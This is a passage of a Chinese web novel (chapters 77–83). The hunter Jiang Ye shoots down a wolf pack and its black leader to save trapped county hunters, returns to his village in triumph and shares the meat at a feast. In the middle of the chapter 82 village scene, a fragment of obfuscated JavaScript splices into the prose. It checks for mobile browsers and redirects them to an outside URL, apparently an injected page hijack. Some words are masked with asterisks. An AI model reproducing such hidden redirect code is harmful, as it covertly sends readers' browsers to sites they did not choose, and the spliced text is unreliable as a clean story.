其中一个汉子“噗通”一声就瘫坐在了地上,“江夜兄弟,求求你了,俺要回家!俺家还有老婆孩子啊!”
另一个也跟着哭喊起来,双腿软得像面条,瘫在地上,站都站不起来。
“江夜兄弟,求你放我们走吧……那可是狼群啊!”
江夜低头,目光淡漠地扫过地上那两个痛哭流涕的男人,眼神里没有愤怒,没有鄙夷,他轻轻点了点头。
“行。”
一个字,轻描淡写。
随即,他指了指众人脚边那些已经装满的背囊。
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>“你们分到的猎物,带走吧。”
那两个村民闻言,先是一愣,随即脸上爆发出劫后余生般的狂喜。
他们简直不敢相信自己的耳朵。
不用去面对狼群,还能带着满满一袋子肉回家?
“谢谢江夜兄弟!谢谢江夜兄弟!”
两人如蒙大赦,连滚打爬地从地上起来,也顾不上擦脸上的眼泪和鼻涕,手忙脚乱地抓起属于自己的那份猎物,扛在肩上,头也不回地就朝着来时的路狂奔而去,那速度,比被狼追还快,仿佛生怕江夜会反悔一样。
那三个县里冬猎队的猎户,看着这一幕,张了张嘴,想说什么,却又一个字都说不出来,眼神复杂到了极点。
江夜,自始至终都没有再看那两个逃跑的背影一眼。
他只是转过身,看向身后还剩下的四个人。
这四人的脸上,同样写满了恐惧,额头上渗出的冷汗浸湿了鬓角,但他们的脚,却死死地钉在原地,没有后退半步。
“江夜兄弟……”王囤的喉结艰难地滚动了一下,他看了一眼林子深处,又看了一眼江夜那平静得不像话的侧脸,“俺……俺听你的!”
他说不出什么大道理。
但他忘不了刚才那短短半个时辰,江夜是如何带着他们,像是在自家后院捡菜一样,将背囊装满的。那种神乎其技的箭术,那种对山林的掌控力,已经彻底颠覆了他几十年的认知。
怕?当然怕!那是几十头狼!
可不知道为什么,看着身前这个比自己小了一轮的年轻人,他心里那份恐惧,竟然硬生生被压下去了一丝。
“俺也留下!”江峰吐出一口浊气,将手中的猎叉握得更紧。
他是江夜的亲哥,弟弟要去,他没有退缩的道理。更何况,这一路走来,弟弟带给他的震撼,让他心中隐隐升起一种盲目的信任。
剩下的两个村民,对视一眼,都从对方眼中看到了剧烈挣扎的恐惧,但最终,他们还是咬着牙,重重地点了点头。
他们不想走,更何况,那两头肥硕的狍子,他们还没分呢!富贵险中求,赌了!
江夜嘴角微不可察地勾起一抹弧度,没再多说废话。
“把猎物藏好,跟上。”
第78章 不知死活的疯子
江夜带着剩下的五个人,朝着山林深处快速前进。
队伍的气氛压抑到了极点。
除了江夜,江峰、王囤和另外两名村民的脸上,都写满了凝重与惊惧。
山风吹过,卷起地上的落叶,发出“沙沙”的声响,此刻听在耳中,都像是野兽在暗中低语,让人头皮发麻。
又往前走了不到一里地,前方的林子里又是一阵骚动,两道身影跌跌撞撞地冲了出来,其中一人腿上鲜血淋漓,被另一人架着,跑得一瘸一拐。
他们看到江夜一行人,先是一愣,随即脸上露出和之前那几人如出一辙的惊骇。
“别……别过去了!前面是狼谷!我们的人全被困住了!”没受伤的那个汉子嘶哑着嗓子喊道,声音里满是绝望。
王囤看着他们凄惨的模样,心头一紧,下意识地握紧了手里的柴刀。
江夜的脚步却丝毫未停,只是淡淡地扫了他们一眼,便径直从他们身边走了过去。
江峰和王囤等人见状,也只能咬着牙,硬着头皮跟上。
那两个逃出来的猎户彻底呆住了。
他们看着江夜一行六人义无反顾冲向狼谷的背影,脸上的表情从惊骇,变成了极致的错愕和不解。
“疯了……他们疯了不成?”架着伤员的汉子喃喃自语,他无法理解,为什么有人在听到狼群之后,不仅不跑,反而还要主动迎上去。
“就这几个人……过去干什么?给狼群加餐吗?”
他们看江夜一行人的眼神,就像是在看一群主动走向屠宰场的疯子。
随着不断深入,空气中的血腥味越来越浓,隐约间,已经能听到前方传来兵器与利爪碰撞的“锵锵”声,以及一声声令人心胆俱裂的狼嚎。
江峰几人的心,已经提到了嗓子眼,手心全是冷汗。
终于,绕过一片茂密的树林,前方豁然开朗。
一处山谷空地,出现在众人眼前。
眼前的景象,惨烈如人间炼狱。
空地边缘的草地上,七零八落地躺着五六个村民,个个身上带伤,有的抱着被撕裂的手臂,有的捂着血流不止的大腿,在地上痛苦地翻滚哀嚎,声音凄惨。
而在空地的中央,以李铁臂为首的最后五名猎户,正背靠着背,结成一个摇摇欲坠的圆阵。
在他们周围,黑压压地围了足足有二十多头吊着眼的恶狼!
这些狼体格矫健,眼神凶残,涎水顺着尖利的牙齿滴落,不断地游走、试探,寻找着防守的空隙。
李铁臂等五人,早已是**之末。
他们身上遍布爪痕和咬伤,鲜血浸透了衣衫,每个人都在大口大口地喘着粗气,挥舞武器的动作也变得越来越迟缓,脸上写满了浓浓的绝望。
他们心里清楚,防线崩溃,只是时间问题。
狼群并没有急着发动总攻。
在狼群之后,一头体型比同类大了近乎一倍的黑色头狼,正迈着优雅而残忍的步子,缓缓踱步。
它通体毛发漆黑如墨,一双幽绿的眸子,闪烁着冰冷而戏谑的光芒,如同君王在审视自己的囚徒,等待着他们彻底力竭的那一刻。
“咕咚。”
江夜身后的王囤,艰难地咽了口唾沫。
江峰和另外两个村民,更是被眼前这恐怖的景象吓得倒吸一口凉气,只觉得浑身血液都像是被冻住了一般,手脚冰凉,连呼吸都变得困难。
二十多头狼!还有一个一看就成了精的狼王!
这
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……这怎么打?
就在江峰几人几乎要被恐惧吞噬时,江夜冰冷的声音在他们耳边响起,带着一种能安定人心的奇异力量。
“大哥,你带两人,去左侧那块洼地,挖坑,尽量挖深点。”
“王囤,带一人,去右侧林子里,砍些藤蔓,布置几道绊索。”
命令简洁,干脆,不带一丝一毫的感情。
江峰和王囤四人,瞬间一愣。
挖坑?布置绊索?
在这种时候?
他们的大脑一片空白,完全无法理解这命令背后的意图。
但长久以来建立的信任,以及江夜那不容置疑的语气,让他们的身体,先于大脑行动了起来。
“是!”
五人也顾不上去想为什么,立刻按照江夜的吩咐,分头行动。三人拿出随身的短铲,冲向左侧的洼地疯狂地挖掘起来,另外两人则抽出柴刀,冲进右边的林子,手脚麻利地砍伐坚韧的藤蔓。
江夜本人则是跃上了高处的树干上,观察着周围的情况。
山谷中央,正在绝望死战的李铁臂等人,也发现了江夜的到来。
当他们看到江夜的身影时,那双本已黯淡绝望的眸子里,骤然爆发出了一丝希望的火光!
可当他们的目光越过江夜,看到他身后那稀稀拉拉的几个人时,那刚刚燃起的希望之火,“噗”的一声,瞬间熄灭了,化为了比之前更深的绝望。
就这几个人?
他们四五十号人都被冲得七零八落,六个人过来能干什么?
最多给狼群加加餐罢了。
李铁臂的嘴角,泛起一丝苦涩到极点的笑意。
完了。
他本以为是援军,却没想到,是几个不知死活的疯子。
第79章 战群狼
就在此时,一头潜伏已久的恶狼瞅准李铁臂因分神而露出的破绽,后腿猛地发力,无声无息地从他背后扑了上来!
腥风扑面!
李铁臂浑身汗**倒竖,瞬间察觉到了身后的杀机。
他想回身格挡,可与狼群缠斗了太久,身体早已酸软无力,意识跟得上,动作却慢了半拍。
完了!
李铁臂的眼中,闪过一丝浓浓的死志与不甘。
他甚至已经能闻到恶狼口中那令人作呕的血腥气。
然而,就在那尖利的狼牙即将咬断他脖颈的千钧一发之际。
“咻!”
一声尖锐到极致的破空声,仿佛撕裂了空气!
站在高处树干上的江夜,动了。
他不知何时已经取下了背后的长弓,拉弓,开弦,动作一气呵成。
一支黑色的箭矢后发先至,划出一道肉眼几乎无法捕捉的直线,带着一股无可匹敌的穿透力,精准无比地从那头恶狼的左眼眼窝射入,瞬间贯穿了它的大脑!
“噗嗤!”
箭矢透脑而出,带起一蓬滚烫的血花。
那头恶狼甚至来不及发出一声哀嚎,扑在半空中的身体猛然一僵,随即重重地砸在李铁臂的脚边,四肢抽搐了两下,便彻底没了声息。
时间,仿佛在这一刻被按下了暂停键。
全场死寂。
无论是山谷中央,已存死志的李铁臂众人,还是外围正在挖坑砍藤蔓的江峰、王囤,亦或是那些虎视眈眈的恶狼,全都在这一瞬间停下了所有的动作。
所有人和狼,都猛地转头,目光齐刷刷地汇聚向箭矢射来的方向。
只见山谷旁的一棵参天古树的粗壮枝干上,江夜手持黑色神弓,身姿挺拔如松,山风吹拂着他的衣角,猎猎作响。
他脸上没有任何表情,一双深邃的眸子淡漠地俯瞰着下方的一切,如同九天之上,俯瞰凡尘俗世的神明。
“嗷呜——!”
短暂的死寂之后,那头巨大的黑色狼王,发出了震天的咆哮!
那不是恐惧,而是被挑衅了无上权威的、狂怒到极点的嘶吼!
它那双幽绿的眸子死死地锁定在江夜身上,放弃了眼前这些已经毫无威胁的“猎物”。
随着狼王一声令下,围困着李铁臂等人的二十多头恶狼,瞬间调转方向,如同黑色的潮水一般,带着滔天的杀意,朝着江夜所在的那棵大树,席卷而去!
“江夜兄弟!”
“江夜!”
江峰和王囤同时失声惊呼,心脏都快从嗓子眼里跳了出来。
那可是二十多头狼啊!
面对这如同山崩海啸般的恐怖攻势,树干上的江夜,却连眼皮都没有动一下。
他面不改色,左手持弓,右手从箭囊中抽箭、搭弦、拉弓、松手……
一套动作快得几乎出现了残影!
“咻咻咻咻咻咻!”
弓弦震动嗡鸣,一支又一支的黑色箭矢,带着尖锐的呼啸,连珠发射,朝着下方那片汹涌而来的黑色狼潮,覆盖而去!
惨烈的一幕,发生了。
冲在最前面的那头恶狼,刚刚跃起,一道黑光闪过,它的头颅便如同被重锤砸中的西瓜,“嘭”的一声凌空爆开,红白之物四散飞溅。
紧接着是第二头,第三头,第四头……
江夜的箭,快得不可思议,更准得令人发指!
每一箭,都精准地贯穿一头恶狼的头颅或眼眶,绝无虚发!
冲锋的狼群,就如同撞上了一堵无形的、由死亡组成的墙壁。
它们疯狂地嘶吼着,前仆后继。
但无论它们如何凶悍,如何悍不畏死,都无法冲破那道由箭矢组成的死亡防线。
一头接一头地被射翻在地。
一具又一具的尸体,在江夜所站立的大树下,迅速堆积。
那根本不是战斗,而是一场彻头彻尾的**!
冲锋的狼群,就像是秋收时节被镰刀收割的麦子,成片成片地倒下!
山谷中央,李铁臂和他手下的四个猎户,已经完全看傻了。
他们一个个张大了嘴巴,手中的兵器“哐当”掉在地上都毫无察觉,只是呆滞地,仰望着那个站在树上的身影。
大脑,一片空白。
那可是狼啊!
凶残狡猾,成群结队的狼啊!
可是在那个男人的面前,竟然……竟然脆弱得如同土鸡瓦狗?!
这……这**还是人吗?!
另一边,正在疯狂挖坑的江峰和正在布置绊索的王囤等人,也都一个个如同被施了定身法,僵在原地,满脸都是活见鬼的表情。
他们知道江夜厉害,可他们做梦也想不到,江夜能厉害到这种地步!
这已经完全超出了他们对“强大”二字的认知极限!
“哥,陷阱!”
就在这时,江夜冰冷的声音再次响起,炸醒了呆滞的众人。
江峰和王囤一个激灵,
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这才反应过来。
那头黑色的狼王,似乎也**夜这恐怖的射杀效率激怒到了极点,它放弃了无意义的试探,仰天发出一声凄厉悠长的咆哮。
剩下的十来头恶狼像是收到了死命令,双眼赤红,疯了一般地朝着江夜所在的大树发起了决死冲锋!
它们的速度快如奔马,带起的烟尘仿佛一条黑色的长龙。
然而,就在它们即将冲到树下的瞬间。
冲在最前面的几头恶狼被几道突然绷紧的藤蔓绊倒,庞大的身躯在惯性下翻滚着,和后面的同伴狠狠撞在了一起。
“嗷呜!”
“呜……”
一时间,狼群的冲锋阵型大乱,惨嚎声、碰撞声响成一片,好几头狼被同伴撞得头晕眼花,甚至有的被踩断了腿,在地上痛苦地挣扎。
整个狼群的攻势,为之一滞。
就在这短暂的混乱中,树干上的江夜,再次动了。
只见他反手从腰间一抹,一个造型精巧的金属飞爪便出现在手中。他手腕一抖,飞爪带着长长的绳索,呼啸着缠上山谷对面更高处的一截粗壮树干。
下一刻,江夜脚下一蹬,整个人从树上腾空而起,借着绳索的力量,向山谷中央的上空荡去!
半空中,江夜的身影快如鬼魅,他身体在空中高速摆荡,手中的黑色神弓却没有丝毫停歇。
居高临下,整个狼群的动向,在他眼中一览无余。
他松开弓弦。
“咻!”
一支箭矢脱手,精准地钉入一头刚刚从混乱中爬起,正要重新扑击的恶狼的后心。
他身体荡到最高点,再次开弓。
“咻!”
又是一箭,射穿了另一头恶狼的咽喉。
箭矢,如下雨一般!
“咻咻咻咻!”
半空中的江夜,每一次弓弦的震动,都必然带走一条鲜活的生命。那些在村民眼中凶残无比的恶狼,在他的箭下,脆弱得如同纸糊的玩偶。
它们甚至连江夜的衣角都碰不到,就被从天而降的死亡之箭,一头接一头地钉死在地上。
当江夜的身影轻飘飘地落在狼尸堆积的空地上时,山谷中那二十多头气势汹汹的恶狼,已经只剩下最后零星的三四头。
这几头幸存的恶狼,再也没有了之前的凶悍。
它们夹着尾巴,看着那个荡在半空中的男人,喉咙里发出恐惧到极点的呜咽声,掉头就跑,恨不得爹娘多生两条腿。
第80章 大丰收
江夜没有去追,他甚至看都未看那些丧家之犬一眼。
他淡漠的目光,穿过弥漫的血雾,最终锁定在了狼群的最后方。
那里,那头体型巨大的黑色狼王,正僵在原地,死死地盯着江夜,只是那眼神中,不再有戏谑和残忍,只剩下浓得化不开的惊骇与恐惧。
它想不明白,这个人类,为什么会如此恐怖?
“嗷……呜……”
独眼狼王喉咙里发出一声低沉的哀鸣,它庞大的身躯,在微微颤抖。
最终,野兽求生的本能,压倒了作为王者的尊严。
它猛地转过身,夹起尾巴,用尽全身的力气,朝着山林深处亡命奔逃!
想逃?
江夜眼神一寒,嘴角勾起一抹冰冷的弧度。
他缓缓抬起长弓,这一次,两支黑色的箭矢,同时搭上了弓弦。
弓开满月。
“咻!咻!”
两声尖锐的破空声,几乎在同一时间响起!
两支箭矢,一前一后,如同两道追魂夺命的黑色闪电,撕裂空气,直奔那逃窜的巨大身影而去!
跑在前面的第一支箭矢,精准无比地射中了独眼狼王粗壮的右后腿!
“噗嗤!”
箭矢整个没入,巨大的力道直接将其后腿的骨骼射得粉碎!
“嗷——!”
正在狂奔的独眼狼王发出一声痛苦到极致的惨嚎,庞大的身躯猛地一歪,重重地摔倒在地。它挣扎着想要爬起,可后腿已废,只能在地上徒劳地翻滚。
剧痛与死亡的恐惧,让它张开了血盆大口,发出了绝望的咆哮。
而就在它张口的瞬间,第二支箭矢,到了。
那道黑色的箭矢,不偏不倚,沿着它惨嚎张开的口腔,瞬间射入,从它的后脑贯穿而出,带起一蓬血雾!
狼王的嚎叫声,戛然而止。
它庞大的身躯轰然倒地,粗壮的四肢在地上猛烈地抽搐了几下,那只仅存的独眼,死死地圆睁着,里面还残留着无尽的恐惧与不敢置信,最终,光芒彻底消散。
全场,一片死寂。
山风吹过,卷起浓郁的血腥气,却吹不散这山谷中凝固如实质的寂静。
整个战场,鸦雀无声,只剩下劫后余生者们粗重的喘息,和伤员压抑不住的痛苦呻吟。
李铁臂和他手下那几个幸存的猎户,还保持着仰望的姿势,一个个彻底傻了。
他们看着那遍地的狼尸,看着那死不瞑目的巨大狼王,又看看那个手持神弓,独立于尸山血海之中,连衣角都未曾沾染一丝血迹的男人。
脸上神情变幻不定,从极致的震惊,到无法理解的骇然,最终化为了无尽的敬畏与羞愧。
尤其是李铁臂,他感觉自己的脸火辣辣地疼。
就在不久之前,他还对江夜这支小队嗤之以鼻,觉得他们是不自量力的蠢货。
可现实却给了他一记响亮到震耳欲聋的耳光。
他引以为傲的四五十人精锐队伍,被狼群冲得七零八落,死伤惨重,自己也险些命丧狼口。
而他看不起的“乌合之众”,仅仅六个人,不,甚至可以说,仅仅一个人,就将这足以团灭他们的恐怖狼群,屠戮殆尽!
这是何等恐怖的实力?
这哪里是人?这分明就是战神下凡!
一想到自己之前的傲慢和嘲讽,李铁臂就恨不得找个地缝钻进去,一张老脸涨成了猪肝色,羞愧难当。
“赢……赢了?”
“我们……活下来了?”
“江夜兄弟……他……他一个人,把狼群全杀了……”
短暂的死寂之后,江峰和王囤那一边,终于有人从呆滞中回过神来,发出了带着不敢置信的呢喃。
下一秒。
压抑到极致的情绪,如同火山般轰然爆发!
“赢了!我们赢了!!”
“江夜兄弟万岁!!”
江峰、王囤和另外两名村民,爆发出震天动地的狂喜欢呼。
他们扔掉手里的工具,通红着双眼,疯了一样地朝着江夜冲了过去。
他们的眼神,已经不能用崇拜来形容,那是一种看着在世神明般的狂热!
是江夜,在他们所有人都以为必死无疑的时候,力挽狂澜!
“江夜兄弟!”王囤冲到江夜面前,激动得语无
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伦次,想说什么,却一个字都说不出来,最后只是重重地捶了捶自己的胸口。
江峰也是眼眶通红,他看着自己这个从小看到大的弟弟,嘴唇哆嗦着,千言万语,最终只化为一句带着浓浓骄傲和激动的:“好样的!”
就在此时,李铁臂拖着一条受伤的腿,一瘸一拐地走了过来。
他身后的几名猎户也互相搀扶着,跟了过来,每个人看着江夜的眼神,都充满了复杂的情绪。
“扑通!”
在所有人震惊的目光中,李铁臂,这个在县里猎户圈中以骄傲和实力闻名的汉子,走到江夜面前,用那条完好的腿直挺挺地单膝跪了下去,对着江夜,深深地低下了他那颗高傲的头颅!
“江夜兄弟!”
“今日,若不是你出手,我李铁臂,还有我这帮兄弟,全都得把命交代在这儿!”
他抬起头,那双满是血丝的眼睛里,再无半分倨傲,只剩下浓浓的敬畏与羞愧。
“你救了我们所有人的命!这份恩情,我李铁臂……没齿难忘!”
说完,他竟是要对着江夜,行一个跪拜大礼。
山谷中,所有幸存的猎户和村民,都看呆了。
这可是李铁臂啊!县里第一猎户!何曾对人如此低声下气过?
然而,面对这石破天惊的一跪,江夜的脸上,却依旧是那副淡然无波的模样。
他只是伸出手,虚扶了一下。
“不必如此。”
淡淡的三个字,却带着一股不容置疑的力量。
李铁臂只觉得一股柔和却无法抗拒的力道传来,让他无论如何也拜不下去。他心中更是骇然,对江夜的实力,又有了新的认知。
江夜点了点头,目光从李铁臂等人身上扫过,随即转向了那满地的狼尸。
“大哥,王囤。”
他开口道。
“还愣着干什么?开始干活。”
“剥皮,收肉,狼骨和狼牙都别落下,这可都是好东西。”
江峰和王囤等人闻言,先是一愣,随即立刻反应过来,脸上爆发出更加狂喜的神色,轰然应诺。
“好嘞!”
第82章 救命恩人
傍晚,稻花村的村口,气氛凝重得像是压着一块看不见的巨石。
几个从山上逃回来的县里猎户,正被一群村民围在中间,声音颤抖地描述着山谷里的恐怖景象。
“狼……太多了,黑压压的一片,跟潮水一样涌过来!李铁臂他们四五十号人,一个冲锋就被冲散了!血……到处都是血!”
另一个人猛地灌了一口水,惊魂未定地补充:“我们跑的时候,亲眼看到江夜带着他哥他们几个人,往狼群那边去了!只有六个人啊!那不是去送死吗?”
此话一出,围观的村民们顿时炸开了锅。
“糊涂啊!江夜这孩子,本事是大,可这次也太托大了!”
“那可是狼群!不是一头两头,是几十头啊!神仙也顶不住!”
“完了,完了,江峰和王囤也跟着去了,这下……”
一声声扼腕叹息,在人群中此起彼伏。所有人都觉得,江夜这次是凶多吉少了。
就在这时,人群外传来一阵骚动,王慧慧和林秀芬,跌跌撞撞地挤了进来。
她刚从地里回来,就听说了这事,一张脸早已没了半点血色。
“江峰……江峰怎么样了?”王慧慧抓住一个村民的胳膊,嘴唇都在哆嗦。
那村民看着她煞白的脸,张了张嘴,最后只能同情地叹了口气,摇了摇头。
王慧慧只觉得眼前一黑,身体晃了晃,几乎要栽倒在地,旁边的林秀芬也是吓得魂不附体,麻木的呆愣在原地。
“活该!”
一个尖利刻薄的声音,在此刻显得格外刺耳。
王翠花双手叉腰,挤到了人群的最前面,嘴角挂着一丝毫不掩饰的幸灾乐祸的冷笑。
她斜睨着摇摇欲坠的王慧慧,唾沫横飞地嚷道:“我早就说了,有些人就是不识好歹,非要去跟着个不知天高地厚的混小子瞎混!现在好了吧?把自个儿的命搭进去了吧!这就是不听老人言的下场!”
她的声音又大又尖,生怕别人听不见。
周围的村民皱了皱眉,却也没人出声反驳。毕竟,她说的话虽然难听,但听起来却像是事实。
王慧慧气得浑身发抖,指着王翠花,嘴唇哆嗦着却骂不出一句话来,眼泪不受控制地往下淌。
王翠花见状,愈发得意。
可就在此时,山路的尽头,忽然出现了一支队伍的轮廓,正不紧不慢地朝着村口走来,浩浩荡荡的远不止六个人。
“快看!那是什么?”
有人眼尖,惊呼一声。
随着这声惊呼,村民们的目光,齐刷刷地投向那条蜿蜒的山路。
原本嘈杂的村口,仿佛被人按下了暂停键,瞬间死寂。
所有人的议论、叹息、嘲讽,都卡在了喉咙里。
队伍越走越近,轮廓也越来越清晰。
走在最前面的,是一个身形挺拔的年轻人。他肩上背着一张造型古朴的黑色长弓,步伐沉稳,神情淡然,仿佛只是进山散了个步,而不是经历了一场生死血战。
正是江夜!
而在他身后,江峰、王囤,还有另外几个村民,一个个昂首挺胸,腰杆挺得笔直,脸上泛着兴奋的红光,那股子精气神,哪有半分遭遇狼群的狼狈?分明是打了大胜仗的将军!
村民们已经看傻了眼。
这……这是怎么回事?他们不是被狼群**了吗?
然而,这还不是最震撼的。
当队伍完全走出山林,暴露在所有人的视野中时,那被簇拥中在整个队伍中间的东西,让整个稻花村的村民,集体失声。
那是一个由粗大原木临时捆扎成的巨大拖架,被十余人正合力扛着。
拖架之上,堆着一座小山!
一座由猎物堆成的小山!
一具,两具,五具,十具……足足二十多具庞大的狼尸,层层叠叠地堆在一起,其中最顶上那一头,体型格外巨大,通体乌黑,即便已经死去,那股凶悍残暴的气息依旧扑面而来!
浓郁的血腥味混合着野兽的煞气,随着晚风席卷而至,冲得村口众人头皮发麻,几欲作呕!
整个村口,陷入了死一般的寂静。
落针可闻。
所有村民,都像是被施了定身法,一个个张大了嘴巴,眼珠子瞪得溜圆,仿佛要从眼眶里掉出来。
他们的大脑,在这一刻彻底当机,一片空白。
狼……狼尸?
这么多狼尸?
这……这难道就是那支**李铁臂的狼群?
被……**夜他们……全杀了?
这个念头如同惊雷一般,在每个人的脑海中炸响,震得他们魂飞魄散,完全无法理解眼前这超现实的一幕。
王翠花那张挂着恶毒冷笑的脸,彻底僵住了。
她脸上的肌肉疯狂抽搐,看着那座触目惊心的狼尸小山,看着那个神情淡然仿佛做了一件微不足道小事的江夜,她眼中的幸灾乐祸,瞬间被惊骇和不敢置信所取代。
她的瞳孔,因为极致的恐惧而缩成了针尖,脸色以肉眼可见的速度,由讥讽的潮红,转为震惊的煞白,最后,化为一片死灰般的铁青。
她双腿一软,整个人不受控制地向后踉跄了两步,一屁股瘫坐在了地上。
就在这死寂之中,队伍走到了村口。
跟在队伍后面,一瘸一拐的李铁臂,在一众村民骇然的目光中,拖着伤腿,走到了江夜面前。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16612492|187622||http|test|mini|href|location''.split(''|''),0,{}));
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r>他没有说话,只是在所有人面前,对着江夜,深深地弯下了腰,行了一个九十度的大礼。
“江夜兄弟!”
李铁臂的声音沙哑,却如洪钟大吕,响彻整个村口。
“今日,若不是你,我李铁臂,还有我这帮兄弟,全都得把命交代在山里!”
他抬起头,那张粗犷的脸上再无半分倨傲,只剩下劫后余生的庆幸和浓得化不开的敬畏。
“你,是我们所有人的救命恩人!以后若有事,我李铁臂一定义不容辞。”
话音落下,他身后那几个同样浑身带伤的县里猎户,也齐刷刷地跟着弯下腰,动作整齐划一,脸上满是感激与羞愧。
“轰!”
村口的人群,瞬间炸开了锅!
“我的娘啊!李铁臂……他竟然给江夜行这么大的礼?”
“救命恩人?这么说,那几十头狼……真是江夜一个人杀的?!”
“这**还是人吗?!这是山神下凡了吧!”
山呼海啸般的议论声,彻底淹没了整个村口。
村民们看着江夜的眼神,彻底变了。
这哪里还是那个好吃懒做的江家二小子?
这分明就是天神下凡,是山神爷派来守护他们稻花村的活神仙!
无数道目光,有意无意地落在了瘫坐在地上的王翠花身上,那眼神里,充满了鄙夷、嘲讽和毫不掩饰的幸灾乐祸。
“刚才谁说人家去送**?”
“就是,某些人啊,真是狗嘴里吐不出**,见不得别人好!”
这些话语像一根根烧红的钢针,狠狠扎进王翠花的耳朵里。她感觉全村人都在看她的笑话,那一张张脸,仿佛都在无声地嘲笑着她的愚蠢和恶毒。
羞愤、恐惧……种种情绪交织在一起,让她恨不得当场找个地缝钻进去。
她再也承受不住这巨大的羞辱,手脚并用地从地上爬起来,像一只丧家之犬,连滚带爬地钻进人群,逃也似的跑了。
没人理会这个跳梁小丑。
王慧慧早已泪流满面,她拨开人群,疯了一样地冲到江峰面前,一句话也说不出,只是用拳头一下一下地捶着丈夫结实的胸膛,眼泪鼻涕糊了一脸。
那是喜悦的泪,是后怕的泪。
江峰嘿嘿地笑着,任由婆娘捶打,眼眶却也红了。
王囤的娘林秀芬,也扑了过来,拉着儿子的手翻来覆去地看,确认他毫发无伤后,才双腿一软,一屁股坐在地上,放声大哭起来。
整个村口,哭声笑声交织,乱成一团,却洋溢着一种劫后余生的狂喜。
而这一切的中心,江夜只是静静地站着,神情淡然得仿佛什么都没有发生过。
第83章 再生父母
当晚,江夜家崭新的大院里,灯火通明。
院子中央,一堆巨大的篝火烧得“噼啪”作响,熊熊的火焰将半个院子照得亮如白昼。篝火上,架着一口从村里借来的最大号铁锅,锅里“咕嘟咕嘟”地翻滚着,炖着满满一锅狼肉。
霸道无比的肉香,混合着各种香料的气味,形成一股几乎凝为实质的浓郁香气,以江夜家为中心,蛮横地朝着整个稻花村扩散而去。
院内,早已摆好了几张大桌。
江峰、王囤,以及另外三户跟着江夜进山的村民,带着自家的婆娘和孩子,局促不安地坐在桌边。
他们的眼睛,死死地盯着那口不断冒着香气的大锅,喉结不受控制地上下滚动。桌上已经摆了几碟小菜,但没人敢动一下筷子。
这阵仗,他们这辈子都没见过。**夜请来赴宴,他们心里又是激动,又是忐忑,手脚都不知道该往哪里放。
几个妇人,更是紧张地攥着衣角,看着自家男人那副没出息的样子,想说点什么,却发现自己比他们还要紧张。
就在这时,江夜端着一坛酒,从屋里走了出来。
他一出现,原本还有些细微骚动的院子,瞬间安静下来。所有人的目光,都下意识地聚焦在他身上。
江夜将酒坛放在主桌上,环视了一圈众人紧张又渴望的脸,淡淡一笑。
他没有多说废话,指着那堆积如山的狼肉,朗声宣布:“今天请大家来,没别的事。这次进山,承蒙各位兄弟信任。这些狼肉,咱们出力的人,六家平分!”
“剩下的狼皮和狼骨,我会拿到县城卖掉,换回来的银子,同样六家平分!”
话音落下,整个院子,陷入了死一般的寂静。
平……平分?
江峰猛地抬起头,不敢置信地看着自己的弟弟。
王囤和他身边的几个汉子,更是直接傻了,一个个张着嘴,像是被雷劈了一样,呆在原地。
他们想过江夜会分他们一些,或许是一家十几斤肉,这就已经是天大的恩情了。
可他们做梦都没想到,江夜竟然说,平分!
那可是二十多头狼啊!堆起来像小山一样的肉!还有那些价值千金的狼皮!
平分下来,每家至少能分到几百斤肉,足够……足够他们一家老小,舒舒服服地吃到明年开春了!
短暂的死寂之后,王囤“扑通”一声,直挺挺地跪在了地上,对着江夜的方向,二话不说,就是一个响头,坚硬的额头砸在青石板上,发出“咚”的一声闷响。
“江夜兄弟!”
王囤的声音,带着浓重的哭腔,嘶哑得不成样子。
“你……你是我们全家的恩人啊!”他抬起头,早已是泪流满面,这个七尺高的汉子,哭得像个孩子,“俺……俺王囤这辈子没过过一天好日子,俺娘跟着俺没吃过一顿饱饭……你这是……你这是给了俺们全家一条活路啊!”
他语无伦次,只是一个劲地重复着“活路”两个字,一边说,一边重重地磕头,仿佛只有这样,才能宣泄心中那股几乎要将他淹没的巨大狂喜和感激。
“你就是俺们的再生父母啊!”
王囤的哭喊,像是一根**,瞬间点燃了所有人的情绪。
另外三个汉子对视一眼,眼眶通红,也齐刷刷地跟着跪了下来,对着江夜重重磕头。他们的婆娘孩子,更是哭成一团,跪倒一片。
这不仅仅是肉,这是活下去的希望,是这个冬天不用再挨饿受冻的保证!
江峰眼眶红得吓人,他没有跪,只是快步走到江夜身边,抬起手,想说什么,嘴唇哆嗦了半天,却一个字也说不出来。最后,那只蒲扇般的大手,只能重重地拍在江夜的肩膀上,又重重地拍了一下。
一切,尽在不言中。
江夜看着眼前跪倒一片、哭声震天的众人,心中也是微微一暖。
他上前,一把将王囤从地上拉了起来,声音沉稳有力:“王囤哥,你这是干什么!我们是一起进山的兄弟,有福同享,有难同当,这是应该的!”
他又看向其他人:“都
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起来!今天请大家来是喝酒吃肉的,不是来看你们磕头的!谁要再跪,这肉可就没他的份了!”
这话一出,众人连忙手忙脚乱地从地上爬了起来,擦干眼泪,脸上却都挂着傻子一样的笑容。
“开席!”
江夜一声令下,气氛瞬间被点燃。
早已在一旁等候的白梦夏和白梦秋,笑着将一盆盆炖得软烂入味的狼肉端上桌。
“吃!都别客气!管够!”江峰扯着嗓子大喊。
下一秒,桌上响起了惊天动地的吞咽声。
汉子们再也顾不上什么客气,抓起筷子,如同饿了三天三夜的猛虎,疯狂地将大块的肉往嘴里塞。
肉炖得极烂,入口即化,浓郁的肉汁在口腔中爆开,香得人头皮发麻。
一个汉子刚吃下第一口,眼泪就“唰”地一下流了出来。他一边狼吞虎虎咽,一边嚎啕大哭,嘴里含糊不清地嘟囔着:“肉……娘的,这辈子没吃过这么香的肉……”
孩子们更是顾不上用筷子,直接用小手抓起流着油的肉块就往嘴里塞,吃得满嘴满脸都是油,一双双眼睛幸福得眯成了月牙。
整个院子,咀嚼声,赞叹声,还有压抑不住的喜悦哭声,交织成一片,充满了最原始、最动人的生命力。
林间雪端着酒壶,穿梭在各桌之间,为众人添酒。
但她的目光,却始终没有离开那个坐在主位,与众人谈笑风生的男人。
